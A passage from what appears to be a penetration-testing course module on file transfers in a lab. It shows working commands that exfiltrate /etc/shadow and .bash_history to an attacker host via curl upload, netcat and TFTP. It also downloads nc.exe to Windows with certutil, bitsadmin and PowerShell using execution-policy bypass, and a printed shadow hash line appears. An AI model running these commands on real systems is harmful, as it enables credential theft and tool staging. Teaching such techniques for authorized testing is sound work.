root:$6$fgOvJRosWk3X9bDE$8rBlBigWSqpCT8E7PDHtMvZ3xJhUNXCZDa6YcwMCspJFfmzEEqa.NXF0DFnnpg6K6oW9Ny8ZC4AGUh981TK0x/:19258:0:99999:7:::
daemon:*:18474:0:99999:7:::
...
Listing 16 - Displaying the contents of the remote file with curl
Our curl execution displayed the contents of the shadow file in
our terminal. Let's check the current directory to determine if the
file was saved on our system.
kali@kali:~$ ls
Desktop Documents Downloads Music Pictures Public setup-atftpd.sh setup-ftp.sh Templates Videos
Listing 17 - Checking for shadow file
The shadow file was not saved to our Kali host, despite the
file contents being displayed in our terminal earlier. This is
curl's standard behavior. We can use the -o option to save
the file to our host. Let's try that now and name the saved file
curledShadow.txt.
kali@kali:~$ curl http://192.168.50.154:8000/shadow -o curledShadow.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1025 100 1025 0 0 6785 0 --:--:-- --:--:-- --:--:-- 6833
Listing 18 - Saving shadow file as curledShadow.txt
This time, the file contents were not displayed. Let's check if the
file was saved in our current directory.
kali@kali:~$ ls -1
curledShadow.txt
Desktop
Documents
Downloads
...
Listing 19 - Listing current directory
The file was saved correctly as curledShadow.txt.
In the next section, we will cover the file transfer tool, Netcat.
Since our demonstration machine does not contain this executable,
we'll download it now.
In this case, we'll use the standard Apache2 web server to host
the file. This will provide a more feature-rich capability when
transferring files.
Let's stop the Python 3 web server on the demonstration host, by
pressing C+c.
root@file-transfers-setup:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
^C
Keyboard interrupt received, exiting.
Listing 20 - Stopping Python 3 web service on remote host
On our Kali host, let's switch our user to root so we can
write to the web root.
kali@kali:~$ sudo su
[sudo] password for kali:
root @kali:/home/kali#
Listing 21 - Changing to root user
Now, let's copy the /bin/nc.traditional binary to the /var/www/html/
directory.
root@kali:/home/kali# cp /bin/nc.traditional /var/www/html
Listing 22 - Copying /bin/nc binary to web root
With the binary copied to our web root, we'll download it from our Kali
host and onto the target host with wget.
root@file-transfers-setup:~# wget http://192.168.48.3/nc.traditional
--2022-09-29 19:10:55-- http://192.168.48.3/nc.traditional
Connecting to 192.168.48.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34952 (34K)
Saving to: ‘nc.traditional’
nc.traditional 100%[====================================================>] 34.13K --.-KB/s in 0.08s
2022-09-29 19:10:55 (444 KB/s) - ‘nc.traditional’ saved [34952/34952]
Listing 23 - Downloading nc.traditional binary to demonstration host
The nc.traditional binary is downloaded on our demonstration host. Let's make
it executable.
root@file-transfers-setup:~# chmod +x nc.traditional
Listing 24 - Making the nc file executable
With the execute bit added to nc.traditional, let's try to execute
it to determine if it works.
root@file-transfers-setup:~# ./nc.traditional -h
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports]
...
Listing 25 - Testing the nc.traditional binary
The binary works as expected, and we now have an additional
file transfer tool available on this host. We'll use this in the next
section.
We've used wget and curl to download data from a remote target
to our Kali host. We can also reverse this and upload tools to the
remote host from our Kali machine. Let's try this now.
Let's create /var/www/html/upload.html on the Kali host. When we
are finished with the file, it should look like the following listing:
root@kali:/home/kali# cat /var/www/html/upload.html
<html>
<head></head>
<body>
<h4> File uploads </h4>
<form enctype="multipart/form-data" action="upload.php"
method="post">
<p>
Select File:
<input type="file" name="uploadedfile" />
<input type="submit" name="Upload" value="Upload" />
</p>
</form>
</body>
</html>
Listing 26 - Creating a frontend HTML page on our Apache2 server
This file will serve as a frontend page to allow us to upload a file
from a target host to our Kali machine. It requires some PHP to execute
the upload action.
Let's create upload.php in the web root
as well. The file should be the same as the following listing when
completed.
root@kali:/home/kali# cat /var/www/html/upload.php
<?php
$target_path = "uploads/";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
echo "Source=" . $_FILES['uploadedfile']['name'] . "<br />";
echo "Target path=" . $target_path . "<br />";
echo "Size=" . $_FILES['uploadedfile']['size'] . "<br />";
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename( $_FILES['uploadedfile']['name']) . " has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
?>
Listing 27 - Creating upload.php
Let's walk through the code. The upload.php script starts with
a $target_path variable that specifies an uploads/ directory
within the current directory. The $target_path is then expanded
to include the filename provided with the uploadedfile parameter
in the POST request. After $target_path is set,
three echo statements report the file name, the target directory,
and the size of the file. If the file is moved successfully into
uploads/ , a success message is displayed. Otherwise, an
error message is displayed.
The PHP script only specifies that uploads/ is the
target path for the upload, but we haven't created the directory yet.
Let's create it now.
root@kali:/home/kali# mkdir /var/www/html/uploads/
Listing 28 - Creating uploads directory
With the newly-created directory, we also need to change the
permissions to allow for uploads. Let's modify the permissions to
allow everyone read, write, and execute permissions.
root@kali:/home/kali# chmod 777 /var/www/html/uploads/
Listing 29 - Changing permissions on uploads directory
Now that we set up our upload webpage, let's restart the Apache2 service.
root@kali:/home/kali# systemctl restart apache2
Listing 30 - Starting Apache2 service.
The Apache2 service has restarted, which means that we should be able
to browse to http://127.0.0.1/upload.html.
The GUI interface is convenient, but may not be practical during a
penetration test. With that in mind, let's test it with cURL. We'll
begin by listing all the files in /var/www/html/uploads/.
root@kali:/home/kali# ls -al /var/www/html/uploads/
total 8
drwxrwxrwx 2 root root 4096 Sep 2 11:04 .
drwxr-xr-x 3 root root 4096 Sep 2 11:04 ..
Listing 31 - Listing contents of uploads directory
Currently, there are no files in the /var/www/html/uploads/
directory. Let's use this directory to upload /etc/shadow
from our target host to our local Kali host.
From our target host, we will execute a curl POST request with a
parameter of uploadedfile, using the --form option. In this
demonstration, the Kali IP is 192.168.48.3.
root@file-transfers-setup:~# curl --form "uploadedfile=@/etc/shadow" http://192.168.48.3/upload.php
Source=shadow<br />Target path=uploads/shadow<br />Size=1025<br />The file shadow has been uploaded
Listing 32 - The /etc/shadow file is uploaded from the target host to our Kali web server
The message returned to our terminal indicates that the shadow
file has been successfully uploaded to our Kali machine. Let's check
the uploads/ directory again to determine if the remote file was
transferred correctly.
root@kali:/home/kali# ls -al /var/www/html/uploads/
total 12
drwxrwxrwx 2 root root 4096 Sep 30 09:21 .
drwxr-xr-x 3 root root 4096 Sep 29 13:33 ..
-rw-r--r-- 1 www-data www-data 1025 Sep 30 09:21 shadow
Listing 33 - Listing the uploads directory
The file was successfully uploaded to /var/www/html/uploads/.
If the upload isn't working, but the command is completing
successfully, the upload_max_filesize setting in
/etc/php//apache2/php.ini may need to be increased.
In this section, we covered how to download files with wget and cURL.
We also discussed how to host our own web server with Python 3 and
then Apache2. Finally, we uploaded files from a remote host to our
Apache2 web server. In the next section, we will demonstrate file
transfers with Netcat.
We can also transfer files with Netcat,[404-3] a utility that can be
used for a variety of network-related activities, such as checking for
open ports, banner grabbing,[665] establishing network
connections for remote administration, and file transfers. In this
section, we'll cover how to transfer files with Netcat.
This section will use the FileTransfers-Tooling VM as discussed in the
Resources section below. To follow along, start the exercise
host before continuing.
To transfer a file from our target host to our Kali machine, we'll
need to use Netcat twice. First, we will create a listener on our Kali
machine that will copy all input to a local file. Then we will send
the contents of the file from the target to our Netcat listener.
Let's create our Kali listener first. We'll listen on port 4444
and redirect output to copiedNetcatShadow.txt. We'll use -l
to listen, -v for added verbosity and -n to skip DNS
resolution. We'll set the listening port with -p 4444.
kali@kali:~$ nc -lvnp 4444 > copiedNetcatShadow.txt
listening on [any] 4444 ...
Listing 34 - Setting up Netcat listener for file transfer.
Once the Netcat listener receives a connection, the output will then
be redirected to copiedNetcatShadow.txt.
Let's SSH into the exercise host as the root user with a password of
FileTransfersToolingSetup and transfer the
/etc/shadow file from the exercise host with Netcat.
The exercise host for this demonstration doesn't have the nc
binary installed. In the last section, we covered how to get this
binary on the machine for execution. If it's not present, make sure to
transfer the tool to this host before continuing.
After establishing our SSH connection to the remote host,
we can send the /etc/shadow file by adding an input
redirection[666] with the filename after the Netcat
connection command.
In this demonstration, our Kali host has the IP address of
192.168.48.3. If the following command execution displays an error
about shared libraries, transfer the /bin/nc.traditional file
instead of /bin/nc
root@file-transfers-setup:~# ./nc 192.168.48.3 4444 < /etc/shadow
^C
Listing 35 - Sending the file to the listener with netcat
The file is sent from the exercise host to our Kali host, and
the terminal hangs. This is normal behavior, as nc can not detect
the end of our transfer. After a period of waiting, we can press
C+c to stop the process.
Let's check our Netcat listener.
kali@kali:~$ nc -lvnp 4444 > copiedNetcatShadow.txt
listening on [any] 4444 ...
connect to [192.168.48.4] from (UNKNOWN) [192.168.50.154] 52862
Listing 36 - Completed netcat file transfer
The Netcat connection from the exercise host was received and closed.
Let's list the files and directories to determine whether the file was
copied.
kali@kali:~$ ls -1
copiedNetcatShadow.txt
Desktop
Documents
Downloads
Music
Pictures
Public
setup-atftpd.sh
setup-ftp.sh
Templates
Videos
Listing 37 - Verifying the netcat transfer
The copiedNetcatShadow.txt file is in our home directory. Let's
cat the file to ensure the same contents was transferred.
kali@kali:~$ cat copiedNetcatShadow.txt
root:$6$fgOvJRosWk3X9bDE$8rBlBigWSqpCT8E7PDHtMvZ3xJhUNXCZDa6YcwMCspJFfmzEEqa.NXF0DFnnpg6K6oW9Ny8ZC4AGUh981TK0x/:19258:0:99999:7:::
daemon:*:18474:0:99999:7:::
...
Listing 38 - Checking contents of the destination file
The contents match. In this case, we transferred a small text file,
so the transfer happened quickly. Larger file transfers tend to
take more time. Longer file transfers may not be an ideal situation
since there's no transfer status to tell us when the download
is complete or how long it will take. We can, however, execute a
checksum[667] verification to validate the files and ensure
they transfer completely. Let's execute the sha512sum checksum
command on the file in our Kali host.
kali@kali:~$ sha512sum copiedNetcatShadow.txt
cf5cef9ce1747685203de0b36d93be60b1dbe9551a5251918930b3915eb746a3d0a8d90dfecc5b306e96b8a40287508ab1c23a8f93101f4d361b1aa10eaf1d96 copiedNetcatShadow.txt
Listing 39 - Running checksum on the destination file
The SHA512 checksum for the file is displayed in the terminal. We
should run this on both copies to determine if they match.
root@file-transfers-setup:~# sha512sum /etc/shadow
cf5cef9ce1747685203de0b36d93be60b1dbe9551a5251918930b3915eb746a3d0a8d90dfecc5b306e96b8a40287508ab1c23a8f93101f4d361b1aa10eaf1d96 /etc/shadow
Listing 40 - Running checksum on the source file
Since the checksums match, we know the transfer succeeded. If they did
not match, we should try the transfer again, this time waiting longer
for the transfer to finish.
We can also use Netcat to send files the other direction by running
the listener on the demonstration host and sending the file from Kali.
We can also use SSH to copy files with Secure Copy (SCP).[401-1] The
syntax for scp is very similar to the cp command, except the
location of the file will contain the remote username and IP address
in a username@remote-host's IP:remote-file-path format.
Let's copy the offsec user's .bash_history file with scp into our
current working directory, naming it offsecHistory.txt.
kali@kali:~$ scp offsec@192.168.50.151:/home/offsec/.bash_history offsecHistory.txt
offsec@192.168.50.151's password:
.bash_history 100% 4865 31.1KB/s 00:00
Listing 41 - SCP reports the file is successfully copied
SCP reports the file was successfully copied. Let's list our files to
verify we have an offsecHistory.txt file.
kali@kali:~$ ls -1
Desktop
Documents
Downloads
history.txt
Music
offsecHistory.txt
...
Listing 42 - The file is present in our current directory
We note that the file is successfully copied. It took less than one
second since this was a very small file.
File Transfer Protocol (FTP)[415-2] is a very simple protocol used
for file transfers and is one of the oldest protocols used today.
An FTP server can contain a treasure trove of data, especially if it
is misconfigured or the credentials are leaked. In many scenarios,
sensitive files on an FTP server can lead to the compromise of a
system.
This section will use the FileTransfers-Linux VM, found in the
Resources section below. To follow along, start the exercise host
before continuing.
The easiest way to access an FTP server is through anonymous access.
This is when the user is anonymous and a password is not needed.
Anything can be entered in as the password, and the login will be
accepted. This is one of the most insecure configurations, because it
allows anyone to log in to the FTP server. Let's log in to the
Kali machine's vsftpd[668] FTP server as anonymous.
kali@kali:~$ ftp 192.168.50.151
Connected to 192.168.50.151.
220 (vsFTPd 3.0.3)
Name (192.168.50.151:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Listing 43 - Logging in to FTP as anonymous
We were able to log in to the FTP server as an
anonymous user after pressing I key when system prompted to enter a
password.
We can use ls to list available files and directories.
ftp> ls
229 Entering Extended Passive Mode (|||29196|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 26 Sep 30 20:42 anonymousFTP.txt
226 Directory send OK.
Listing 44 - Listing FTP files and directories
We can download anonymousFTP.txt to our local machine with the
get command.
ftp> get anonymousFTP.txt
local: anonymousFTP.txt remote: anonymousFTP.txt
229 Entering Extended Passive Mode (|||41539|)
150 Opening BINARY mode data connection for anonymousFTP.txt (26 bytes).
100% |***********************| 26 22.13 KiB/s 00:00 ETA
226 Transfer complete.
26 bytes received in 00:00 (0.34 KiB/s)
Listing 45 - Downloading the file with FTP get command
The FTP server displayed the Transfer complete. message, so we can exit
the FTP connection with quit.
ftp> quit
221 Goodbye.
Listing 46 - Quitting the FTP session
The FTP connection is now closed, and we are returned to our Kali
terminal. Let's verify that the file is now on our system.
kali@kali:~$ ls -1
anonymousFTP.txt
...
Listing 47 - Listing the downloaded file
We can also connect to an FTP server with a username and password.
Let's connect to the FTP server with a username of offsec and a
password of offsec.
kali@kali:~$ ftp 192.168.50.151
Connected to 192.168.50.151.
220 (vsFTPd 3.0.3)
Name (192.168.50.151:kali): offsec
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Listing 48 - Logging into FTP with credentials
We have established a connection with the remote FTP server using
the offsec user account. Let's list the contents of the current
directory.
ftp> ls
229 Entering Extended Passive Mode (|||6890|)
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 121308 Sep 14 17:40 UploadToWeb.png
Listing 49 - Listing FTP contents as offsec user
The directory appears to have changed, as we we now have access to
UploadToWeb.png.
Let's change gears and upload a file from our Kali host to this
directory. Despite this exercise host having Netcat already installed,
let's imagine we want our nc binary from our Kali client on this
remote host. For simplicity, let's copy the nc binary to
the current directory.
kali@kali:~$ cp /bin/nc .
Listing 50 - Copying the nc binary to current directory
Now that the binary is copied to our current directory, let's
switch back to our FTP session terminal tab and use put to
upload our nc file.
ftp> put nc
local: nc remote: nc
229 Entering Extended Passive Mode (|||15644|)
150 Ok to send data.
100% |***********************| 34952 343.63 MiB/s 00:00 ETA
226 Transfer complete.
34952 bytes sent in 00:00 (156.32 KiB/s)
Listing 51 - Trasferring the nc binary to remote host
The nc binary was successfully uploaded to the remote host.
Let's open a new terminal window and ssh to the remote host as
offsec with the password offsec.
kali@kali:~$ ssh offsec@192.168.50.151
offsec@192.168.50.151's password:
...
Listing 52 - Connecting to target with SSH
Now that we're connected to the remote host,
let's analyze our uploaded file.
offsec@file-transfers:~$ ls -1
nc
UploadToWeb.png
Listing 53 - Listing the home directory
The nc file is not executable, so let's make it executable so we
can test it to determine if the transfer was successful.
offsec@file-transfers:~$ chmod +x nc
Listing 54 - Making nc executable
Now that we can execute the nc binary, let's run it to determine
if it successfully transferred.
If the following execution results in a library error, upload the
/bin/nc.traditional file and attempt the execution again.
offsec@file-transfers:~$ ./nc -h
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
...
Listing 55 - Successful run of the nc binary
The nc binary ran successfully, meaning our transfer was a
success. Let's remove the nc binary file in offsec's home
directory. We can close out of the FTP connection to the exercise host
as well.
offsec@file-transfers:~$ rm nc
Listing 56 - Deleting the nc file
Before concluding our discussion of FTP, let's briefly explore the
difference between active and passive FTP,[416-1] and
binary and ASCII modes.[417-1].
FTP connections use a command channel for commands and a data
channel for data. In a default configuration, passive mode will
combine these channels on TCP port 21 and all communication will
occur in that client-initiated session. Alternatively, an active
connection uses TCP ports 20 and 21 for the data and command channels
respectively, requiring a server-initiated connection to the client.
Given the client-initiated port allocations, passive mode is most
likely to succeed in more-secure client environments.
Binary and ASCII modes describe ways of transferring specific types
of files. If the file is a text file, ASCII mode will suffice.
If a text file is transferred from a UNIX system to a Microsoft
system, ASCII mode will automatically add a ^M at the end of each
newline. Conversely, if the file is transferred from a Microsoft host
to a UNIX host, the ^M will be removed from each new line end. This
ensures compatibility with reading a text file when transferred from
one type of system to another.
Binary mode will keep the file in its original state, without
modifying the newline entries. If transferring an executable, Binary
mode is the best choice. Otherwise, the execution of the binary may
become corrupted due to the modification of the new line entries.
Let's quickly examine the FTP ascii and binary commands.
As the root user of our Kali host, let's again start the pure-ftpd service
we installed and configured in the beginning of this Module and copy
nc to /ftphome/.
kali@kali:~$ sudo systemctl start pure-ftpd
kali@kali:~$ cp nc /ftphome
Listing 57 - Starting FTP server and copying nc
Now let's connect to our Pure-FTPd server from the
exercise host's offsec SSH connection. The username and password we
covered were offsec:lab.
offsec@file-transfers:~$ ftp 192.168.48.3
Connected to 192.168.48.3.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 14:38. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.48.3:offsec): offsec
331 User offsec OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Listing 58 - Connecting to the Kali FTP server
For demonstration, let's change the file transfer mode to ASCII, by
entering the ascii command.
ftp> ascii
200 TYPE is now ASCII
Listing 59 - Setting file transfer mode to ASCII
With the transfer mode set to ASCII, let's get the nc binary
again.
ftp> get nc
local: nc remote: nc
200 PORT command successful
150-Connecting to port 42377
150 34.1 kbytes to download
226-Warning: client is in ASCII mode - Assuming data is plain text
226-File successfully transferred
226 0.000 seconds (measured here), 202.14 Mbytes per second
35020 bytes received in 0.08 secs (441.6621 kB/s)
Listing 60 - Transferring the nc binary file as ASCII
The nc binary is now on the exercise host. Let's quit the
FTP connection to return to the exercise host terminal session.
ftp> quit
221-Goodbye. You uploaded 0 and downloaded 35 kbytes.
221 Logout.
Listing 61 - Closing the FTP connection
Let's make nc executable and test it again.
offsec@file-transfers:~$ ./nc -h
Segmentation fault (core dumped)
Listing 62 - The nc binary execution fails with a "Segmentation fault" error
The nc binary did not execute successfully. This is due to our
transfer mode being set to ASCII instead of Binary. As we discovered,
if we use the correct modes, we can use FTP to transfer a variety of
files.
Trivial File Transfer Protocol (TFTP)[669] is a UDP-based
file transfer protocol and is often restricted by corporate egress
firewall rules.
During a penetration test, we can use TFTP to transfer files from
older Windows operating systems up to Windows XP and 2003. This
is a terrific tool for non-interactive file transfers, but it is not
installed by default on systems running Windows 7, Server 2008,
and newer.
On Linux systems, the TFTP service is installed depending on
the functionality of the device or machine. Many IoT and small
form-factor networking devices will have TFTP installed and configured
for firmware updates.
For these reasons, TFTP is not an ideal file transfer protocol
for most situations, but under the right circumstances, it has its
advantages. Some circumstance examples may be if a system has a TFTP
server that is open and serving files, we may be able to download
critical files that give us more information about the target.
We may also be able to upload files and leverage those with other
vulnerabilities to gain access to a target host.
In this demonstration, we will use a Linux-based machine, but the
principles will remain the same regardless of the operating system in
use.
Let's transfer a file with TFTP. This works much like an FTP file
transfer. We'll connect, then upload a file with put. Let's upload
the .bash_history file.
offsec@file-transfers:~$ tftp 192.168.48.3
tftp> put .bash_history
Sent 5077 bytes in 0.8 seconds
Listing 63 - Connecting to TFTP and uploading a file
The output indicates that the file sent successfully. Let's check our
/tftp directory on our Kali host and verify that the file was
transferred to our machine.
kali@kali:~$ ls -al /tftp
total 16
drwxrwxrwx 2 nobody nogroup 4096 Sep 30 15:08 .
drwxr-xr-x 21 root root 4096 Sep 12 21:52 ..
-rw-r--r-- 1 nobody nogroup 4865 Sep 30 15:08 .bash_history
Listing 64 - Listing the file in /tftp
The .bash_history file is currently in our /tftp directory,
indicating that we successfully uploaded the file.
By default, we can not list files through TFTP. However, if we know
the filename, we can also download files with get.
This Learning Unit will cover the following Learning Objectives:
In the previous Learning Unit we discussed general file transfer
tools and techniques. Next, we'll focus on Windows-specific transfer
techniques leveraging a variety of tools. The tools covered previously
may not work with a default Windows system, so learning these tools
with Windows will make us more proficient in transferring files across
a variety of operating systems.
This section will use our the Windows_File_Transfers VM group,
discussed in the Resources section below. To follow along, start the
exercise host before continuing.
When accessing a Windows system, we must identify tools that exist in
the current installation that we can leverage to transfer files. The
concept of utilizing pre-existing applications is called living off
the land.[670] There are many tasks that can be accomplished with
this concept, but in this section we'll focus on file transfer.
Before we begin, let's copy the Windows version of the Netcat binary
(nc.exe) to the web root on our Kali machine. We need elevated
privileges to copy the file to our web server root directory, so we'll
use sudo in our copy command.
kali@kali:/home/kali# sudo cp /usr/share/windows-binaries/nc.exe /var/www/html/
[sudo] password for kali:
Listing 65 - Copying nc.exe to the web root
We'll use this file for the following file download demonstrations.
Now that we have our file in place, let's establish a remote desktop
connection with xfreerdp in a separate terminal window. We can
access the Windows client, ending with .152, with a username of
offsec and a password of offsec.
kali@kali:~$ xfreerdp +clipboard /u:offsec /p:offsec /v:192.168.50.152
[07:07:35:262] [232032:232033] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
...
Listing 66 - Initiating remote desktop
This should present the desktop view of the Windows client.
With access to the Windows client, let's try to download
nc.exe from our Kali host. To begin, let's do this with
certutil.[585-2] Certutil is used to verify and dump
Certificate Authority (CA) information and to get and publish new
certificate revocation lists.
We can also use this to download remote files. Certutil is currently
blocked by current Windows Security Antivirus rules, but it is still
an appropriate utility to evaluate and learn.
Let's click on the Windows Start button and enter cmd to open a
command prompt. The command prompt opens with the offsec user home
directory as the initial location.
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Users\offsec>
Listing 67 - Opening a command prompt
With the command prompt open and ready, let's change directories to
the Downloads directory with cd.
C:\Users\offsec>cd Downloads
Listing 68 - Changing directories
The current directory is now the offsec user's Downloads
directory. Let's now execute a command to download a file with
certutil. We'll use -urlcache, -split, and -f
to download a file from a website and force an overwrite of the
downloaded contents to write to a file. After these options, we need
to specify the web URL of the file followed by the name we want
to save the file as. In this demonstration, the Kali host has an IP of
192.168.48.3.
C:\Users\offsec\Downloads>certutil -urlcache -split -f http://192.168.48.3/nc.exe nc.exe
**** Online ****
0000 ...
e800
CertUtil: -URLCache command completed successfully.
Listing 69 - Downloading a file with certutil
We successfully downloaded the file. Let's list the files in this
directory to verify that nc.exe exists.
C:\Users\offsec\Downloads>dir
Volume in drive C has no label.
Volume Serial Number is 8EBB-A760
Directory of C:\Users\offsec\Downloads
10/01/2022 05:01 PM <DIR> .
10/01/2022 05:01 PM <DIR> ..
10/01/2022 05:01 PM 59,392 nc.exe
1 File(s) 59,392 bytes
2 Dir(s) 7,611,953,152 bytes free
Listing 70 - Verifying certutil download
The nc.exe is now in our Downloads directory.
Keep in mind that Windows Defender is disabled on our Windows
client, so this method may not work on a default installation of
Windows.
Let's remove nc.exe before moving on to our next download method.
C:\Users\offsec\Downloads>del nc.exe
Listing 71 - The nc.exe file is deleted
This section will use our the Windows_File_Transfers VM group,
discussed in the Resources section below. To follow along, start the
exercise host before continuing.
We can also use the bitsadmin[671] tool to transfer files.
Bitsadmin is a command-line tool used to create, download, or upload
jobs, and to monitor transfer progress.
This utility is more complex, so let's walk through this one step at
a time. The first thing we need to do is create a download job. We can
do this with the /create switch.
C:\Users\offsec\Downloads>bitsadmin /create MyDownload
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Created job {64D6487E-FBB5-4486-9C70-4629F7D5BCD4}.
Listing 72 - Creating a job with bitsadmin
This creates a job named MyDownload. From here, we need to add our
file to the job. We'll do this with /addfile.
C:\Users\offsec\Downloads>bitsadmin /addfile MyDownload http://192.168.48.3/nc.exe C:\Users\offsec\Downloads\nc.exe
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Added http://192.168.48.3/nc.exe -> C:\Users\offsec\Downloads\nc.exe to job.
Listing 73 - Adding a download action to bitsadmin
We added the remote file location and local location to our
MyDownload job. The save location should be an absolute path, as
well. From here, we can run the job with the /resume switch.
C:\Users\offsec\Downloads>bitsadmin /resume MyDownload
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Job resumed.
Listing 74 - Resuming the bitsadmin job
The output doesn't tell us much. We can check the status with
/info. We'll also use /verbose to get more details.
C:\Users\offsec\Downloads>bitsadmin /info MyDownload /verbose
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
GUID: {64D6487E-FBB5-4486-9C70-4629F7D5BCD4} DISPLAY: 'MyDownload'
TYPE: DOWNLOAD STATE: TRANSFERRED OWNER: WIN10-TEMPLATE\offsec
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 59392 / 59392
CREATION TIME: 10/1/2022 5:03:41 PM MODIFICATION TIME: 10/1/2022 5:05:33 PM
COMPLETION TIME: 10/1/2022 5:05:33 PM ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 0
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
DESCRIPTION:
JOB FILES:
59392 / 59392 WORKING http://192.168.48.3/nc.exe -> C:\Users\offsec\Downloads\nc.exe
NOTIFICATION COMMAND LINE: none
owner MIC integrity level: MEDIUM
owner elevated ? false
Peercaching flags
Enable download from peers :false
Enable serving to peers :false
CUSTOM HEADERS: NULL
Listing 75 - Checking the status of the bitsadmin job
The Download State displays that the file is Transferred. Let's
check if it is in our Downloads directory.
C:\Users\offsec\Downloads>dir
Volume in drive C has no label.
Volume Serial Number is 8EBB-A760
Directory of C:\Users\offsec\Downloads
10/01/2022 05:04 PM <DIR> .
10/01/2022 05:04 PM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 7,617,826,816 bytes free
Listing 76 - Checking for the download file
The nc.exe file isn't in our Downloads directory. The reason
for this is that the job has not been completed, despite the status
that the file is transferred. We can use the /complete switch to
finish the job.
C:\Users\offsec\Downloads>bitsadmin /complete MyDownload
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Job completed.
Listing 77 - Completing the bitsadmin job
The MyDownload job is now completed. Let's check the Downloads
directory again.
C:\Users\offsec\Downloads>dir
Volume in drive C has no label.
Volume Serial Number is 8EBB-A760
Directory of C:\Users\offsec\Downloads
10/01/2022 05:07 PM <DIR> .
10/01/2022 05:07 PM <DIR> ..
10/01/2022 04:17 PM 59,392 nc.exe
1 File(s) 59,392 bytes
2 Dir(s) 7,617,695,744 bytes free
Listing 78 - Successful transfer with bitsadmin
The nc.exe file is now in our Downloads directory. Here's a
summary of the process:
bitsadmin /create MyDownloadExample
bitsadmin /addfile MyDownloadExample http://IP/file C:\FULLPATH\file
bitsadmin /resume MyDownloadExample
bitsadmin /info MyDownloadExample /verbose
bitsadmin /complete MyDownloadExample
Listing 79 - The process to download a file with bitsadmin
Before we continue, we'll remove the nc.exe file.
In this section, we covered two utilities installed by default on
Windows to complete file downloads from a remote web server. Let's
practice these methodologies with the following exercises.
This section will use the Windows_File_Transfers VM group,
described in the Resources section below. To follow along, start the
exercise host before continuing.
We can also transfer files from Windows-based systems
with PowerShell. Let's build a download script using the
System.Net.WebClient[672] PowerShell class:
PS C:\Users\offsec\Downloads> type .\wget.ps1
$webclient = New-Object System.Net.WebClient
$url = "http://192.168.48.3/nc.exe"
$file = "nc.exe"
$webclient.DownloadFile($url,$file)
Listing 80 - Creating a PowerShell HTTP downloader script
Now we can use PowerShell to run the script and download our file.
However, to ensure both correct and stealthy execution, we'll specify
a number of options in the execution of the script.
First, we must allow execution of PowerShell scripts (which is
restricted by default) with the -ExecutionPolicy keyword
and Bypass value. Next, we will use -NoLogo and
-NonInteractive to hide the PowerShell logo banner and suppress
the interactive PowerShell prompt, respectively. The -NoProfile
keyword will prevent PowerShell from loading the default profile
(which is not needed), and we'll specify the script file with
-File.
C:\Users\Offsec\Downloads> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File .\wget.ps1
Listing 81 - Executing the PowerShell HTTP downloader script
The script was executed. We can also complete our download as a
one-liner as shown below:
C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.48.3/nc.exe', 'nc.exe')
Listing 82 - Executing the PowerShell HTTP downloader script as a one-liner
After either the script execution or the one-liner execution, let's
check our current directory for nc.exe.
C:\Users\offsec\Downloads>dir
Volume in drive C has no label.
Volume Serial Number is 8EBB-A760
Directory of C:\Users\offsec\Downloads
10/01/2022 06:35 PM <DIR> .
10/01/2022 06:35 PM <DIR> ..
10/01/2022 06:35 PM 59,392 nc.exe
10/01/2022 06:35 PM 136 wget.ps1
2 File(s) 59,528 bytes
2 Dir(s) 7,610,036,224 bytes free
Listing 83 - Validating the PowerShell download
Another method we can use to download files with PowerShell is the
Invoke-WebRequest method. We need to specify a -URI and an
-OutFile. Let's remove the nc.exe file and demonstrate this
method.
PS C:\Users\offsec\Downloads> Invoke-WebRequest -URI http://192.168.48.3/nc.exe -OutFile nc.exe
Listing 84 - Downloading with PowerShell Invoke-WebRequest method
The file was successfully downloaded to our current working directory.
We can also transfer files in PowerShell with the wget wrapper to
the Invoke-WebRequest commandlet. Unlike in our previously covered
Linux examples, we need to use the -o option to save the file to
our Windows system. Let's download our nc.exe file with wget.
PS C:\Users\offsec\Downloads> wget http://192.168.48.3/nc.exe -o nc.exe
Listing 85 - Downloading a file with PowerShell wget wrapper
The command executes successfully and downloads nc.exe
Again, when we check our directory, the nc.exe file is on our
Windows host.
Next, let's demonstrate a method we can use to upload files to our
Kali host from Windows. We will use a combination of PowerShell and a
PHP script.
Let's move forward to getting files off the Windows
host and onto our Kali machine.
The Windows host has a file
